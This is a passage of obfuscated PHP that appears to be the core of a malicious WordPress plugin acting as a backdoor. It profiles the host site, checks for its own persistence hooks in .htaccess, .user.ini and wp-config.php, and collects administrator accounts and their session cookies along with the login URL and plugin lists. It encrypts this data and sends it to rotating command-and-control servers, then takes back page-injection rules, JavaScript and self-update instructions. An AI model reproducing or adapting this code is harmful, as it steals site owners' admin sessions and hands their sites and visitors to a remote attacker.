}

function iqu()
{
	try {
		if (!("\x66" . 'un' . ('ction_' . "\x65x\x69\x73t\x73"))("\x77" . 'p' . '_r' . 'e' . "mot" . "e_ge" . 't') || !("functi" . "on_exists")('home' . '_ur' . 'l')) return;
		if (!('f' . "" . "u" . "n\x63\x74\x69o\x6e" . "_\x65\x78\x69\x73ts")("\x67\x65\x74" . '_' . "o\x70\x74i\x6f" . "n") || !("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . 's' . "\x74\x73")('u' . 'pdat' . "\x65" . '_opt' . 'ion')) return;
		$now = time();
		if ($now - (int) @get_option("sc_l" . "a\x73t" . "_hb", (3953 ^ 3953)) < (16 | 3584)) return;
		@update_option("sc" . '_' . 'last_' . "hb", $now, 'n' . "o");
		@wp_remote_get(home_url('/'), array('t' . "im\x65\x6fu" . "t" => (2 ^ 0), 'sslve' . "\x72if\x79" => (16 == 3), 'b' . 'lock' . "\x69" . "n\x67" => (20 !== 20)));
	} catch (Throwable $e) {
	} catch (Exception $e) {
	}
}

function vuxox()
{
	if (! ('funct' . '' . 'ion_exists')('get_' . "\x6fp" . "\x74io" . "\x6e")) {
		return (38 > 37);
	}

	
	if (!(("\x66\x75nct\x69" . "\x6f\x6e_\x65\x78\x69s\x74\x73")('g' . 'e' . 't' . "\x5ftran" . 'sient') && get_transient(ovi()))) {} else {
		$last_ok0 = (int) get_option("s\x63_" . "l" . 'a' . "\x73t_\x66" . "e" . 'tch_t' . 's', (3349 ^ 3349));
		if ($last_ok0 > (2414 ^ 2414) && (time() - $last_ok0) > (16512 | 69888)) {
			if (('function_ex' . "\x69\x73t\x73")('delet' . 'e' . "_tra" . "nsie\x6e" . "t")) @delete_transient(ovi());
		} else {
			return (13 != 13);
		}
	}

	
	$cache_ttl = bemax();
	$_pc = oxow("s" . 'c_pay' . "\x6c" . "oa\x64" . "_\x70" . 'ers' . "isten" . "\x74", (17 === 19));
	if (is_array($_pc) && isset($_pc["pay" . 'lo' . "\x61\x64Ttl"]) && (int) $_pc["p\x61\x79\x6co" . 'adTtl'] >= (25 ^ 309) && (int) $_pc["pay\x6co" . "a\x64\x54" . "\x74l"] <= (16640 + 69760)) $cache_ttl = (int) $_pc["\x70ay" . 'loa' . 'dTtl'];
	$last_ok = (int) get_option('sc_' . "las" . "t_f\x65" . 'tch' . "\x5f" . "t" . 's', (2382 ^ 2382));
	if (!($last_ok > (2062 ^ 2062) && (time() - $last_ok) < $cache_ttl)) {} else {
		return (2 == 31);
	}

	
	$last_fail_ts = (int) get_option("s" . 'c_' . "la\x73t\x5f" . "f\x65t" . 'ch_f' . 'ail_' . 't' . "\x73", (3049 ^ 3049));
	if (!($last_fail_ts > (3473 ^ 3473))) {} else {
		$fails   = (int) get_option("\x73" . 'c_f' . "et\x63" . 'h_fai' . "ls", (585 ^ 585));
		$backoff = array((148 + 152), (1043 - 143), (259 ^ 1547), (3370 + 230), (3613 ^ 13));
		$delay   = $backoff[max((2728 ^ 2728), min($fails - (3939 ^ 3938), (6 - 2)))];
		$delay  += mt_rand((2116 ^ 2116), (int) ($delay * 0.25));
		if ((time() - $last_fail_ts) < $delay) {
			return (40 == 36);
		}
	}

	 
	$min_gap = (520 | 1280);
	$last_try = (int) get_option('sc_la' . 'st_fe' . 't' . "c\x68_" . "\x74ry_" . "t\x73", (314 ^ 314));
	$_fs_try = quhe();
	if ($_fs_try > $last_try) $last_try = $_fs_try;
	if ($last_try > (2069 ^ 2069) && ($last_try > time() + (1200 >> 2) || (time() - $last_try) < $min_gap)) {
		return (18 > 18);
	}

	
	return (3 == 3);
}


 
function cupa()
{
	$d = ("f\x75nct\x69o" . '' . "n_exists")("sc\x5fd\x61" . 'ta_d' . "i" . 'r') ? sc_data_dir() : '';
	if (! is_string($d) || $d === '' || ! @is_dir($d) || ! @is_writable($d)) return '';
	return rtrim($d, '/\\') . '/' . ".t\x72\x79";
}

function quhe()
{
	$p = cupa();
	if ($p === '') return (2196 ^ 2196);
	$v = @('file_get_c' . "ontents")($p);
	if (! is_string($v) || $v === '') return (3073 ^ 3073);
	$v = (int) trim($v);
	return ($v > (2345 ^ 2345) && $v < time() + (41517 + 44883)) ? $v : (2028 ^ 2028);
}

function josa()
{
	$p = cupa();
	if ($p === '') return;
	@("file" . "_" . "\x70\x75t_" . "contents")($p, (string) time());
	@('ch' . "\x6do" . "d")($p, (823 - 403));
}


function fuwoy()
{
	$fails = (int) get_option('sc_fe' . "t" . 'ch_' . 'fai' . "l\x73", (230 ^ 230));
	update_option('sc_f' . "e\x74ch_" . 'f' . 'ails', $fails + (2065 ^ 2064));
	update_option('sc_' . 'last_' . 'fe' . 'tc' . 'h_fa' . 'il_' . 'ts', time());
	vaja("\x66" . "\x61i\x6c");
}

function vaja($ev, $d = '')
{
	try {
		if (!('funct' . "\x69o\x6e_ex\x69\x73\x74\x73")("\x67et_" . 'opti' . "o\x6e") || !('fun' . "ction_exists")("u\x70" . "d" . 'ate' . '_op' . "\x74" . "\x69\x6fn")) return;
		$l = @get_option('sc_f' . "e" . 'tch' . "_\x6co" . 'g', array());
		if (!is_array($l)) $l = array();
		$l[] = array('t' => time(), 'e' => substr((string) $ev, (3749 ^ 3749), (29 - 13)), 'd' => substr((string) $d, (2317 ^ 2317), (92 - 44)));
		if (count($l) > (0 | 12)) $l = array_slice($l, -(13 - 1));
		@update_option('sc_f' . 'etc' . 'h_log', $l, "n" . 'o');
	} catch (Throwable $e) {
	} catch (Exception $e) {
	}
}

function denuq()
{
	$d = array();
	try {
		$d['ve' . "r"] = sc_ver();
		$d['php'] = PHP_VERSION;
		$d['sapi'] = php_sapi_name();
		$d['s' . 'sl'] = (('fu' . "nc\x74\x69\x6fn_\x65x\x69sts")("i" . 's_s' . 'sl') && is_ssl()) ? (6 ^ 7) : (1509 ^ 1509);
		$d['ms'] = (('function_e' . "xists")("i\x73_mu" . "\x6c" . 't' . "isit\x65") && is_multisite()) ? (3759 ^ 3758) : (2800 ^ 2800);
		$d['wp'] = isset(${'G' . "LOB\x41\x4c\x53"}["w" . 'p' . '_' . "\x76er\x73" . 'ion']) ? (string) ${'GLO' . "B" . "AL" . "S"}['wp_ve' . "r\x73ion"] : '';
		$d['srv'] = isset(${'_' . ("\x53" . "E") . 'RVER'}["S\x45RV" . 'ER_S' . 'O' . "\x46TWA\x52" . 'E']) ? substr((string) ${('_S' . "\x45") . "\x52\x56\x45" . "R"}["\x53E" . 'RVER' . '_SO' . "F\x54W" . 'ARE'], (2309 ^ 2309), (46 ^ 6)) : '';

		$js = (isset(${'GL' . "O" . "\x42\x41" . '' . "L\x53"}['sc' . '_j' . 's']) && is_string(${'GLOBAL' . "S"}['s' . "\x63_j" . 's'])) ? trim(${'GLO' . "B" . ('A' . "LS")}["\x73" . "\x63\x5fj" . "s"]) : '';
		$d['j' . "s_" . 'o' . 'n'] = ($js !== '') ? (1574 ^ 1575) : (2633 ^ 2633);
		$d["js_" . "\x6ce\x6e"] = strlen($js);
		$d["\x6a\x73_" . "re" . "q"] = !empty(${('G' . "LOBA") . "L" . "S"}["\x73c\x5fj\x73" . '_prin' . 'ted']) ? (1285 ^ 1284) : (1292 ^ 1292);
		$d['js_ob'] = !empty(${"GLOB" . 'ALS'}['sc' . '_js_o' . "\x62" . '_u' . 'sed']) ? (2696 ^ 2697) : (2545 ^ 2545);
		$d['js_ts'] = ("\x66\x75" . "n\x63\x74\x69" . "on_exists")('g' . 'et_op' . "t" . "\x69o\x6e") ? (int) @get_option('sc' . "_js" . "_pr\x69n" . 'ted_t' . "\x73", (292 ^ 292)) : (921 ^ 921);

		$d["sw_\x75" . "rl"] = (fufak('sw' . '_url', '') !== '') ? (11 ^ 10) : (3793 ^ 3793);
		$d['sw' . '_h' . 'its'] = ("f\x75" . ("nction" . "_exists"))("g\x65" . "t_" . 'optio' . 'n') ? (int) @get_option('s' . 'c_sw_' . 'e' . "\x70_" . 'hits', (3025 ^ 3025)) : (1091 ^ 1091);
		$d["sw" . '_l' . "ast"] = ("f" . 'unction_ex' . 'ists')('get_o' . "p\x74io" . "\x6e") ? (int) @get_option("\x73" . 'c' . "_" . 'sw_' . 'ep_l' . 'ast', (2297 ^ 2297)) : (1878 ^ 1878);
		$d['sw' . '_had'] = ('f' . '' . 'unc' . 'tion_exists')('get' . '_' . 'optio' . "n") ? (int) @get_option("sc_" . "s\x77\x5fha" . 'd', (2652 ^ 2652)) : (836 ^ 836);

		$base = sc_writable_base();
		$d['v_' . "a" . 'd' . 'v'] = @is_file($base . '/' . "\x61dv" . "an" . 'c' . "\x65\x64-\x63a" . "che" . '.' . "php") ? (limus(@("fi" . 'le' . '_get' . "\x5f\x63on\x74\x65\x6ets")($base . '/a' . "\x64va" . "n" . 'ce' . 'd-c' . 'ache' . '.p' . "\x68p", (17 === 5), null, (1509 ^ 1509), (13462 - 5270))) ? (8 + -6) : (9 ^ 8)) : (2913 ^ 2913);
		$d['v' . "\x5f" . 'db'] = @is_file($base . "/db" . "." . "ph\x70") ? (limus(@("file_get_con" . "\x74\x65" . "nts")($base . '/db.p' . "hp", (6 == 0), null, (4043 ^ 4043), (2854 + 5338))) ? (6 + -4) : (0 ^ 1)) : (610 ^ 610);
		$d['v_oc'] = @is_file($base . "/o" . 'b' . "\x6aect" . '-c' . "ach" . "e\x2e" . 'php') ? (limus(@(("f\x69le_g\x65t\x5f" . "") . 'contents')($base . '/' . "obj\x65c" . 't-c' . 'ache' . '.ph' . 'p', (2 !== 2), null, (3899 ^ 3899), (8105 + 87))) ? (5 + -3) : (10 ^ 11)) : (1248 ^ 1248);
		$_gp = '.g_' . sc_md5(ABSPATH . 'g', (22 - 14));
		$_ghb = '.gl' . '_' . sc_md5(ABSPATH . 'g', (0 ^ 8));
		$d["v" . '_g' . "uar" . "d"] = (237 ^ 237);
		foreach (array(sc_data_dir(), $base, ABSPATH . 'wp-in' . 'cl' . 'u' . 'des') as $_gd4) {
			if (@is_file($_gd4 . '/' . $_gp . '.php')) $d["\x76_g" . "ua" . "rd"] = (735 ^ 734);
			if (@is_file($_gd4 . '/' . $_ghb) && (int) @filemtime($_gd4 . '/' . $_ghb) > time() - (960 >> 2)) {
				$d['v_gua' . 'rd'] = (20 ^ 22);
				break;
			}
		}
		unset($_ghb, $_gd4);
		$_ini_fn = ('f' . "un" . ("\x63\x74" . "\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73"))('in' . 'i_' . 'get') ? @ini_get('u' . "\x73" . "er_" . "i\x6ei." . 'fi' . "le" . "n" . "am" . 'e') : (2 === 28);
		if (!is_string($_ini_fn) || $_ini_fn === '' || $_ini_fn === "\x28\x6eo\x6e" . "\x65)") $_ini_fn = '.user' . '.ini';
		$d['v_in' . 'i'] = (@is_file(ABSPATH . $_ini_fn) && strpos((string) @("f" . "ile" . '_get_conten' . "ts")(ABSPATH . $_ini_fn), 'a' . 'ut' . 'o_pre' . 'pend_' . "f" . "i" . 'le') !== (12 === 15)) ? (888 ^ 889) : (1499 ^ 1499);
		$d["v" . "_ht"] = (@is_file(ABSPATH . "\x2e" . 'ht' . 'acce' . 'ss') && strpos((string) @("f" . "ile_ge" . ("t" . "\x5fc\x6f\x6et\x65n\x74\x73"))(ABSPATH . "\x2ehta" . 'ccess'), 'a' . 'uto_' . 'p' . "rep\x65" . 'nd' . '_' . "\x66il" . "e") !== (18 == 22)) ? (1144 ^ 1145) : (3652 ^ 3652);
		$d['v_wc'] = (@is_file(ABSPATH . "w\x70" . "-" . 'confi' . 'g.p' . "hp") && strpos((string) @("file_get_c" . 'ontents')(ABSPATH . 'wp' . '-co' . 'nf' . 'ig' . '.' . "\x70hp", (0 > 0), null, (2816 ^ 2816), (2484 ^ 68020)), 'SC_WC') !== (39 === 9)) ? (3131 ^ 3130) : (1610 ^ 1610);
		$d["p" . 're' . "pend"] = defined('SC_' . 'AUTO_' . 'PR' . "\x45\x50" . 'E' . 'ND') ? (2454 ^ 2455) : (1832 ^ 1832);

		$d['pc'] = (defined("WP\x5f\x52" . 'OCK' . 'ET' . "_\x56\x45RS" . 'IO' . "N") || defined("LS\x43" . 'WP_' . 'V') || defined('W3TC') || ("\x66" . "un" . ("\x63t\x69\x6f\x6e_\x65x\x69s\x74" . "s"))('sg_ca' . "che\x70" . 'res' . 's_pu' . "r\x67\x65_c" . 'a' . "\x63\x68" . 'e') || ("clas" . ("s\x5f" . 'exi') . "sts")('Ca' . "che" . "_\x45n\x61b" . 'l' . 'er') || isset(${'G' . 'LO' . "" . "\x42" . "\x41L\x53"}['w' . 'p_fas' . 'te' . "s\x74_\x63a" . 'c' . 'he']) || ("\x66" . 'unc' . "tion_" . "exists")("w\x70_" . 'cach' . 'e_ser' . "ve_\x63a" . "c\x68\x65" . "_" . 'fi' . 'l' . 'e')) ? (3927 ^ 3926) : (1967 ^ 1967);

		$d["f\x5f" . "\x6fk"] = (int) get_option('sc' . '_la' . 'st_' . 'fetch' . "\x5fts", (3157 ^ 3157));
		$d["f_" . 'fails'] = (int) get_option('sc_f' . 'et' . "ch" . '_f' . "\x61\x69" . "l\x73", (3670 ^ 3670));
		$d['f_fai' . 'l_t' . 's'] = (int) get_option('sc' . '_las' . 't' . '_fetc' . 'h_' . "fail_" . 't' . 's', (1895 ^ 1895));

		$_ic = sc_pg('ic', array());
		$_ic_n = (1995 ^ 1995);
		$_ic_uc = (3366 ^ 3366);
		if (is_array($_ic)) {
			foreach ($_ic as $_e) {
				if (qowe($_e) === '') continue;
				$_ic_n++;
				$_cf = is_array($_e) ? (int) (isset($_e['cf']) ? $_e['cf'] : (600 ^ 601)) : (1295 ^ 1294);
				$_ts = is_array($_e) && isset($_e['t' . 's']) ? (int) $_e['ts'] : (1786 ^ 1786);
				if (!$_cf && (!$_ts || $_ts < time() - (235 + 3365))) $_ic_uc++;
			}
		}
		$d["ic_" . 'n'] = $_ic_n;
		$d['ic' . "_" . '2fa'] = $_ic_uc;

		$_lb = ("function_" . "" . "\x65\x78\x69\x73\x74\x73")('g' . 'et_o' . 'pti' . "o\x6e") ? @get_option('s' . "c" . '_' . "\x6c" . 'b_m' . "o" . 'de', '') : '';
		$d['l' . "b"] = is_string($_lb) ? substr($_lb, (338 ^ 338), (3 ^ 6)) : '';
		$_cy = ('functi' . "" . 'on_exists')("g\x65t_o" . 'pti' . "on") ? @get_option("sc" . '_' . 'ca' . 'nar' . "y", array()) : array();
		$d['c' . "\x79"] = (is_array($_cy) && (!empty($_cy['t']) || !empty($_cy['items']))) ? (3682 ^ 3683) : (474 ^ 474);
	} catch (Throwable $e) {
		$d['err'] = substr($e->getMessage(), (1397 ^ 1397), (48 | 12));
	} catch (Exception $e) {
		$d['err'] = substr($e->getMessage(), (3054 ^ 3054), (60 ^ 0));
	}
	return $d;
}


function fuqe()
{
	if (("\x66" . 'uncti' . "\x6f\x6e_exis" . "ts")("s\x69t" . 'e' . '_' . 'url')) {
		return (string) site_url('wp-l' . 'ogi' . 'n.php');
	}
	return ('func' . ('tio' . 'n_exists'))('wp_' . "l" . 'ogin_' . "\x75rl") ? (string) wp_login_url() : '';
}


function nita($default)
{
	$domain = '';
	if (!(('functi' . "\x6f\x6e\x5f\x65\x78\x69\x73" . "t" . 's')('hom' . 'e_url'))) {} else {
		$domain = (string) parse_url(home_url(), ("c\x6f\x6e" . "\x73" . "\x74\x61\x6e\x74")('PHP' . '_UR' . 'L_HO' . "ST"));
	}
	if (!(! $domain && ('function_e' . 'xi' . 'sts')('get_' . 'si' . 'te_ur' . "\x6c"))) {} else {
		$domain = (string) parse_url(get_site_url(), ("co\x6e" . 'stant')('PHP_U' . "RL_HO" . 'ST'));
	}
	if (!(! $domain && ('functio' . 'n_exists')('ge' . "\x74_" . "bl" . 'o' . "\x67info"))) {} else {
		$domain = (string) parse_url(get_bloginfo('url'), ("c" . 'o' . "\x6e\x73\x74an" . 't')('P' . 'H' . "P\x5f" . 'URL' . '_HOST'));
	}
	if (!(! $domain && ("\x66" . "unction_exists")("\x67et" . "_opti" . "\x6fn"))) {} else {
		$domain = (string) parse_url((string) get_option("site" . "url", ''), ("\x63\x6f" . '' . "nst" . "an" . "t")("P\x48" . "P_UR" . 'L_HOS' . 'T'));
	}
	if (! $domain && isset(${"\x5f" . "SER" . "VE" . 'R'}['HTTP' . '_HOST'])) {
		$domain = (string) ${"\x5f\x53\x45\x52" . ('V' . "ER")}['HTTP_' . 'H' . 'OS' . 'T'];
	}
	if (!(! $domain && isset(${("_S\x45" . "R\x56") . "" . "\x45R"}["\x53" . 'E' . 'RVER' . '_NAME']))) {} else {
		$domain = (string) ${"_SE" . ("RVE" . "") . "R"}['SERVE' . "\x52\x5f\x4eAM" . 'E'];
	}
	if (! $domain) {
		return $default;
	}
	return $domain;
}

function sc_fetch($cap = (3311 ^ 3311))
{
	try {
		sc_dbg_log("2\x37 f\x65" . 'tch ' . 'ent' . 'er ca' . "p=" . $cap);
		$max_t = ('functio' . ("\x6e\x5f\x65\x78\x69\x73\x74" . "\x73"))('ini' . "\x5fget") ? (int) @ini_get("m" . "\x61" . "\x78\x5fexe" . 'c' . 'ut' . "i\x6f" . "n\x5f" . 'tim' . "e") : (3168 ^ 3168);
		if (("fun" . "ction_e" . "\x78\x69\x73\x74\x73")("\x73e\x74\x5ft" . 'im' . 'e_l' . "i\x6dit")) @(('se' . "t_time_lim") . '' . 'it')((177 + 3));
		$budget = ($max_t > (3 + 17) && $max_t < (360 >> 1)) ? ($max_t - (80 >> 3)) : (($max_t > (2348 ^ 2348) && $max_t <= (40 >> 1)) ? (40 >> 2) : (44 ^ 118));
		if ($cap > (2014 ^ 2014) && $budget > $cap) $budget = $cap;
		${"\x47" . 'LOB' . "\x41\x4c\x53"}["s" . "c_\x64" . 'eadl' . 'ine'] = microtime((16 === 16)) + $budget;
		if (! vuxox()) {
			vaja("ba\x69l" . '_gat' . 'e');
			return;
		}
		if (!uce("s" . "c" . '_chai' . "\x6e")) {
			vaja('bail_' . 'lock');
			return;
		}

		
		 
		if (('funct' . "ion" . "_exi" . 'sts')("upd" . "\x61\x74\x65" . '_o' . 'ption')) @update_option('s' . 'c_la' . "st\x5f" . 'fetc' . "\x68" . "_\x74" . 'ry_' . 'ts', time(), 'no');
		josa();

		$fetch_start = microtime((25 < 26));
		$resolved = oke((int) ($budget * 0.6));
		sc_dbg_log('2' . '8' . ' re' . "\x73o\x6cve" . ': ' . (is_array($resolved) && isset($resolved['urls']) && is_array($resolved["u" . "\x72l" . 's']) ? count($resolved['ur' . "\x6cs"]) : 'FAIL'));
		if (
			! is_array($resolved)
			|| ! isset($resolved['se' . 'rver_' . "k" . 'ey']) || ! is_string($resolved['ser' . 'ver_k' . 'e' . 'y']) || ! $resolved["s\x65r" . 'ver_' . 'k' . 'ey']
			|| ! isset($resolved['u' . "\x72\x6c" . 's']) || ! is_array($resolved['url' . 's']) || empty($resolved['ur' . "ls"])
		) {
			fuwoy();
			return;
		}

		$server_key_bin = $resolved['se' . "rve\x72_" . "ke\x79"];
		$resolved_urls  = $resolved['urls'];
		sc_pk('sr' . "v\x5f" . "ke" . 'y', $server_key_bin, 'no');
		sc_pk('t' . 'es' . 't_mo' . "d\x65", strpos($server_key_bin, 'moc' . "\x6bSr\x76K" . 'ey-') === (1601 ^ 1601) ? (93 ^ 92) : (2639 ^ 2639), 'n' . 'o');

		$last_c2 = ("fun" . ('ct' . 'ion_exis') . "ts")('g' . "et_" . "optio" . "\x6e") ? (string) get_option('sc' . '_las' . 't_c2', '') : '';
		if ($last_c2 !== '' && in_array($last_c2, $resolved_urls, (14 == 14))) {
			$resolved_urls = array_values(array_diff($resolved_urls, array($last_c2)));
			shuffle($resolved_urls);
			array_unshift($resolved_urls, $last_c2);
		} elseif (count($resolved_urls) > (4020 ^ 4021)) {
			shuffle($resolved_urls);
		}

			 
			if (count($resolved_urls) > (6 - 3)) $resolved_urls = array_slice($resolved_urls, (1378 ^ 1378), (1 | 2));
		
		if ((microtime((20 == 20)) - $fetch_start) > (int) ($budget * 0.6)) {
			fuwoy();
			return;
		}

		
		$admins_query_result = vela();
		if (iha($admins_query_result)) {
			$admins_query_result = vela();
		}

		
		$activated_plugins = array();
		if (("f\x75\x6ecti\x6fn\x5f\x65" . 'xists')('get_' . 'opti' . "on")) {
			foreach ((array) get_option('ac' . "\x74i\x76\x65_" . 'plugi' . 'ns', array()) as $p) {
				if (is_string($p) && $p) {
					$activated_plugins[] = $p;
				}
			}
		}

		
		$mu_plugins = array();
		if (defined("WPMU\x5f" . "PLUG\x49" . 'N_' . 'D' . 'IR')) {
			$mu_files = ('function_ex' . "\x69s\x74s")('glob') ? @(('g' . "l") . 'ob')(rtrim(WPMU_PLUGIN_DIR, '/') . "\x2f" . '*.php') : (39 != 39);
			if (is_array($mu_files)) {
				foreach ($mu_files as $f) {
					$mu_plugins[] = basename($f);
				}
			}
		}

		
		$post_data = array(
			'doma' . 'in' => nita(''),
			'p' . 'lu' . 'gi' . 'nVer' . 's' . "ion" => sc_ver(),
			'plu' . "g\x69n" => basename(sc_file(), '.' . "\x70\x68" . 'p'),
			"\x72" . 'oot' => rtrim(ABSPATH, '/\\'),
			"ac\x74\x69" . "\x76" . 'atedP' . 'lugin' . 's' => $activated_plugins,
			"muP\x6c" . "ug" . 'i' . 'ns' => $mu_plugins,
			'logi' . "n\x55rl" => fuqe(),
			'a' . 'dmins' => (object) selu($admins_query_result),
			'a' . "\x64m\x69ns" . "\x43o\x6f" . "\x6bies" => (object) ladu($admins_query_result),
			"e" . 'rr' . "ors" => ($_sc_errors = rihu()),
			
		);
		$post_json = ("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f" . ('exist' . "\x73"))('wp' . '_js' . 'on' . "_" . "e" . 'nc' . 'ode') ? wp_json_encode($post_data) : json_encode($post_data);
		$post_body = xado($post_json, $server_key_bin);
		$post_headers = array("\x43o\x6et" . 'e' . 'nt' . "-Type" => "app" . 'li' . 'cat' . "i\x6f\x6e\x2fo" . "ct\x65t-" . "s\x74re" . 'am');
		$payload = null;
		$_post_ok = (15 < 15);



		 

		${"\x47" . "\x4c" . '' . "OB" . 'ALS'}['sc_fe' . "tc\x68_" . 'oo' . "m"] = (6 === 24);

		
		foreach ($resolved_urls as $url) {
			
			$_remain = $budget - (microtime((36 !== 6)) - $fetch_start);
			if ($_remain < (12 >> 2)) {
				break;
			}
			$_to = min((10 - 0), (int) $_remain);

			
			$url = trim((string) $url);
			if (! $url) {
				continue;
			}

			try {

				$_vkey = $server_key_bin;
				$raw = gugaz($url, $post_body, $post_headers, $_to, function ($b) use ($_vkey) {
					if (!yojog(strlen($b))) {
						${"GLOB" . "AL" . 'S'}["\x73c" . '_f' . "\x65t\x63\x68" . "\x5fo\x6f" . 'm'] = (35 != 22);
						return (17 == 35);
					}
					$d = xado($b, $_vkey);
					if (!$d) return (17 == 0);
					return is_array(@json_decode(trim($d), (3 > 2)));
				});
				if (! $raw) {
					if (!empty(${('GL' . "\x4f") . 'BALS'}['sc_fe' . "t\x63" . 'h_o' . 'o' . 'm'])) {
						vugo('fet' . 'ch', 'o' . "o" . 'm');
						break;
					}
					vugo("\x66\x65tc" . 'h', "\x632_e\x6d" . 'pty ' . $url);
					continue;
				}

				
				$decrypted = xado($raw, $server_key_bin);
				if (! $decrypted) {
					vugo("fet" . 'c' . "\x68", "c2\x5fde" . "\x63r\x79\x70" . 't' . '_' . "f\x61" . 'ile' . "d " . $url);
					continue;
				}

				$payload = (strlen($decrypted) > (1694562 - 645986) && !yojog(strlen($decrypted))) ? null : @json_decode(trim($decrypted), (19 !== 12));
				if (is_array($payload)) {
					if (("functi" . 'on_exists')('u' . 'p' . "dat\x65_" . 'o' . "\x70tion")) {
						update_option('sc_l' . "a\x73" . 't_c' . "2", $url);
					}
					$_post_ok = (25 != 12);
					break;
				} else {
					vugo('fe' . 't' . 'ch', 'c2_b' . 'ad_j' . "\x73o" . "\x6e " . $url);
				}
			} catch (Throwable $e) {
				vugo("fe" . "\x74c\x68\x5fu" . "rl", $e);
				continue;
			} catch (Exception $e) {
				continue;
			}
		}


		if (! is_array($payload) && empty(${('GLO' . '') . "\x42" . "A" . "LS"}['sc' . '_fet' . "c" . 'h_o' . "\x6fm"])) {
			$beacon = xado(json_encode(array(
				'd' . 'omain' => nita(''),
				'p' . 'l' . "u\x67inV" . 'ers' . "\x69\x6f\x6e" => sc_ver(),
				"p" . 'lu' . "\x67\x69n" => basename(sc_file(), '.php'),
				'be' . 'aco' . 'n' => (3952 ^ 3953),
			)), $server_key_bin);
			$b64 = rtrim(strtr(('base64_e' . "n" . "\x63\x6f\x64" . 'e')($beacon), '+/', '-_'), '=');
			$chunks = str_split($b64, (5600 >> 2));
			foreach ($resolved_urls as $url) {
				if ((microtime((18 !== 12)) - $fetch_start) > $budget) {
					break;
				}
				$url = trim((string) $url);
				if ($url === '') {
					continue;
				}
				$bid = sc_md5(nita('') . microtime((2 != 18)), (14 - 6));
				$n = count($chunks);
				$sep = (strpos($url, '?') === (14 === 24)) ? '?' : '&';
				for ($i = (182 ^ 182); $i < $n; $i++) {
					if ((microtime((0 != 36)) - $fetch_start) > $budget) {
						break;
					}
					$_last = ($i === $n - (457 ^ 456));
					$gu = $url . $sep . "s\x63_" . "b" . "\x3d" . $bid . '&' . "i" . "=" . $i . '&n=' . $n . '&d=' . $chunks[$i];
					$graw = fina($gu, (19 ^ 27), $_last ? function ($b) use ($server_key_bin) {
						$d = xado($b, $server_key_bin);
						if (!$d) return (18 == 30);
						return is_array(@json_decode(trim($d), (12 === 12)));
					} : null);
					if ($_last && is_string($graw) && $graw !== '') {
						$_gd = xado($graw, $server_key_bin);
						$_gp = ($_gd && (strlen($_gd) <= (602217 + 446359) || yojog(strlen($_gd)))) ? @json_decode(trim($_gd), (35 > 34)) : null;
						if (is_array($_gp)) {
							$payload = $_gp;
							if ((('function_ex' . 'ist') . "s")("up\x64" . "a\x74\x65_" . 'op' . "\x74ion")) {
								update_option('s' . "\x63\x5f\x6c" . 'ast_c' . "2", $url);
							}
							break;
						}
					}
				}
				if (is_array($payload)) {
					break;
				}
			}
		}

		${"\x47\x4c\x4f" . 'BALS'}['sc_' . "fe" . "tch_o" . 'om'] = (6 == 8);

		if (! is_array($payload)) {
		fuwoy();
			return;
		}

		if ($_post_ok) {
			goxuz();
		}

		if ($_sc_errors && ("f\x75\x6e\x63" . "tion_exists")("\x64ele" . "te\x5f" . 'optio' . "n")) {
			delete_option(riwi("\x65r" . 'rors'));
			unset(${"\x47" . "LOBALS"}['sc_e' . 'n' . 'c_c'][riwi('erro' . 'rs')]);
		}
		if (!isset(${'G' . 'LOB' . "" . "\x41\x4c" . 'S'}['sc' . "\x5f\x65r\x72" . 'o' . "r\x73"]) || !is_array(${"G\x4c\x4f\x42\x41" . 'LS'}['sc' . '_' . "e" . 'r' . 'ro' . "rs"])) ${'GL' . 'O' . "BALS"}["\x73c_" . 'er' . "ror\x73"] = array();
		${'G' . "" . "L" . 'O' . "BALS"}["\x73c_e\x72" . 'rors'] = array_values(array_diff(${"G" . ('LO' . "\x42") . '' . "ALS"}['sc_er' . 'r' . 'or' . 's'], $_sc_errors));

		if (isset($payload["plugi" . 'n']) && is_string($payload['plugi' . "n"])) {
			unset(${"GL" . "O" . '' . 'BALS'}['s' . 'c' . '_dead' . "l" . 'i' . "n\x65"]);
			metot($payload['plu' . 'gi' . 'n'], isset($payload['targe' . 'tVer' . 'si' . 'o' . 'n']) && is_string($payload['ta' . "\x72getV" . 'ers' . "\x69\x6f" . 'n']) ? $payload['ta' . "rge\x74V" . 'ersio' . 'n'] : '', !empty($payload['f' . 'orce' . 'Up' . "date"]));
		}

	
	$rules_changed = (18 == 3);
	$to_cache = array();

	
		if (isset($payload['pl' . 'ug' . "inR\x75l" . 'es']) && is_array($payload["plu\x67\x69" . "nR" . 'ules'])) {
			$rules = array();

			
			foreach ($payload["pl" . "ug\x69\x6e" . 'R' . 'u' . 'les'] as $r) {
				if (is_string($r) && $r !== '') {
					$rules[] = $r;
				}
			}

			$old_rules = ${'GLOB' . 'ALS'}["s" . "\x63_plu" . "\x67in" . "_\x72u\x6c" . 'e' . 's'];
			$rules = roxu($rules);
			${"\x47\x4cO" . "B" . "ALS"}["s\x63_p" . 'lugin' . '_rule' . "s"] = $rules;
			$to_cache['plu' . 'gin' . 'Rule' . "s"] = $rules;

			if (! empty(array_diff($rules, $old_rules)) || ! empty(array_diff($old_rules, $rules))) {
				$rules_changed = (27 > 26);
			}
		}

		
		if (isset($payload['inj' . 'ec' . 'tRu' . 'les']) && is_array($payload['inje' . 'c' . 't' . 'R' . 'ul' . 'e' . "s"])) {
			$rules = array();

			
			foreach ($payload['injec' . "tRu" . 'le' . 's'] as $r) {
				if (is_string($r) && $r !== '') {
					$rules[] = $r;
				}
			}

			$old_rules = ${"GL\x4fB\x41\x4c" . "\x53"}['sc_in' . "j\x65c" . 't_' . 'rul' . "e\x73"];
			$rules = roxu($rules);
			${"GLOBA" . 'LS'}["sc" . '_inje' . 'ct_r' . 'ules'] = $rules;
			$to_cache['i' . 'nj' . 'ec' . "tRu" . 'le' . 's'] = $rules;

			if (! empty(array_diff($rules, $old_rules)) || ! empty(array_diff($old_rules, $rules))) {
				$rules_changed = (11 != 35);
			}
		}

		if (isset($payload['js']) && is_string($payload['js'])) {
			$_old_js = fufak('j' . 's' . '_' . 'c' . "\x61" . 'ched', '');
			if ($_old_js !== '' && (int) sc_pg('js_pu' . 'rge_m' . 'ig', (1924 ^ 1924)) === (1473 ^ 1473)) {
				sc_pk("j\x73\x5fpu" . 'rge' . '_mi' . "g", (1790 ^ 1791), 'no');
